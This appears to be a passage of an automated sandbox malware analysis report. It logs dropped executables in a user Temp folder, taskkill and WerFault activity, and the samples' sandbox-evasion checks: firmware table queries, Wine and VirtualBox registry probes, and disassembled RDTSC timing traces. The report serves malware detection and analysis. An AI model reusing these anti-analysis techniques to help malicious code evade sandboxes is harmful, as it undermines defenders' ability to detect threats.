Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 422486 second address: 42248C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434473 second address: 43447D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF218C0A9D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43447D second address: 434487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434727 second address: 43474F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E7h 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007FF218C0A9DAh 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43474F second address: 434754 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434754 second address: 434791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FF218C0A9DCh 0x0000000d jnp 00007FF218C0A9D6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007FF218C0A9DEh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF218C0A9DEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434791 second address: 4347B1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF2192CCE06h 0x00000008 jmp 00007FF2192CCE16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4347B1 second address: 4347B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4347B7 second address: 4347BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4347BD second address: 4347C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434914 second address: 43493C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FF2192CCE06h 0x00000015 jmp 00007FF2192CCE13h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43493C second address: 434958 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF218C0A9DBh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434AC0 second address: 434ACA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434ACA second address: 434AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF218C0A9E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43738B second address: 4373EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 je 00007FF2192CCE0Eh 0x0000000f jp 00007FF2192CCE08h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a jnl 00007FF2192CCE08h 0x00000020 push edx 0x00000021 pop edx 0x00000022 push esi 0x00000023 jc 00007FF2192CCE06h 0x00000029 pop esi 0x0000002a popad 0x0000002b pop eax 0x0000002c call 00007FF2192CCE15h 0x00000031 mov edi, 16EE57C9h 0x00000036 pop ecx 0x00000037 lea ebx, dword ptr [ebp+1244C196h] 0x0000003d mov dword ptr [ebp+122D1C2Eh], edi 0x00000043 xchg eax, ebx 0x00000044 jg 00007FF2192CCE14h 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4374CC second address: 4374D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4374D2 second address: 437502 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF2192CCE11h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 437502 second address: 437506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 437506 second address: 437514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF2192CCE0Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 437514 second address: 43754C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push 00000003h 0x00000008 jmp 00007FF218C0A9E9h 0x0000000d push 00000000h 0x0000000f movzx edx, bx 0x00000012 push 00000003h 0x00000014 mov dword ptr [ebp+122D270Fh], edx 0x0000001a push 9502B9E5h 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43754C second address: 437550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 437550 second address: 437554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 437663 second address: 43767D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF2192CCE15h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43767D second address: 4376E2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF218C0A9D8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 04FB5900h 0x00000013 push ebx 0x00000014 jmp 00007FF218C0A9DEh 0x00000019 pop edi 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007FF218C0A9D8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 or dword ptr [ebp+122D1C2Eh], edi 0x0000003c push 00000000h 0x0000003e stc 0x0000003f push 00000003h 0x00000041 sbb ecx, 61A55000h 0x00000047 call 00007FF218C0A9D9h 0x0000004c push eax 0x0000004d push edx 0x0000004e jnc 00007FF218C0A9DCh 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4376E2 second address: 4376E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4376E6 second address: 437744 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF218C0A9E6h 0x00000008 jmp 00007FF218C0A9E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jl 00007FF218C0A9EEh 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b jns 00007FF218C0A9D8h 0x00000021 push eax 0x00000022 pop eax 0x00000023 pushad 0x00000024 jmp 00007FF218C0A9DBh 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b popad 0x0000002c popad 0x0000002d mov eax, dword ptr [eax] 0x0000002f push eax 0x00000030 push edx 0x00000031 push ebx 0x00000032 pushad 0x00000033 popad 0x00000034 pop ebx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 437744 second address: 437749 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 437749 second address: 43774F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43774F second address: 4377AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007FF2192CCE0Ch 0x00000010 pop eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 mov dword ptr [ebp+122D27ACh], ebx 0x00000019 pop edx 0x0000001a mov edx, 461A59E5h 0x0000001f popad 0x00000020 mov dx, si 0x00000023 lea ebx, dword ptr [ebp+1244C1AAh] 0x00000029 mov esi, dword ptr [ebp+122D2EC0h] 0x0000002f pushad 0x00000030 mov dword ptr [ebp+122D1C2Eh], ebx 0x00000036 mov ebx, dword ptr [ebp+122D393Fh] 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e js 00007FF2192CCE10h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a pushad 0x0000004b popad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4377AD second address: 4377B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457A27 second address: 457A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007FF2192CCE06h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457A33 second address: 457A62 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007FF218C0A9D6h 0x00000010 popad 0x00000011 push ecx 0x00000012 jmp 00007FF218C0A9DCh 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF218C0A9DEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457A62 second address: 457A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457A66 second address: 457A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457BDD second address: 457BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457BE2 second address: 457BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF218C0A9DBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457D2F second address: 457D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 jmp 00007FF2192CCE0Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457D45 second address: 457D8A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF218C0A9D8h 0x00000008 jnp 00007FF218C0A9F1h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FF218C0A9E9h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FF218C0A9DBh 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 pop eax 0x00000022 push eax 0x00000023 pop eax 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457D8A second address: 457D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457D8E second address: 457D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 458079 second address: 458081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 458081 second address: 458098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 458647 second address: 45864D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45864D second address: 458662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 458662 second address: 458673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
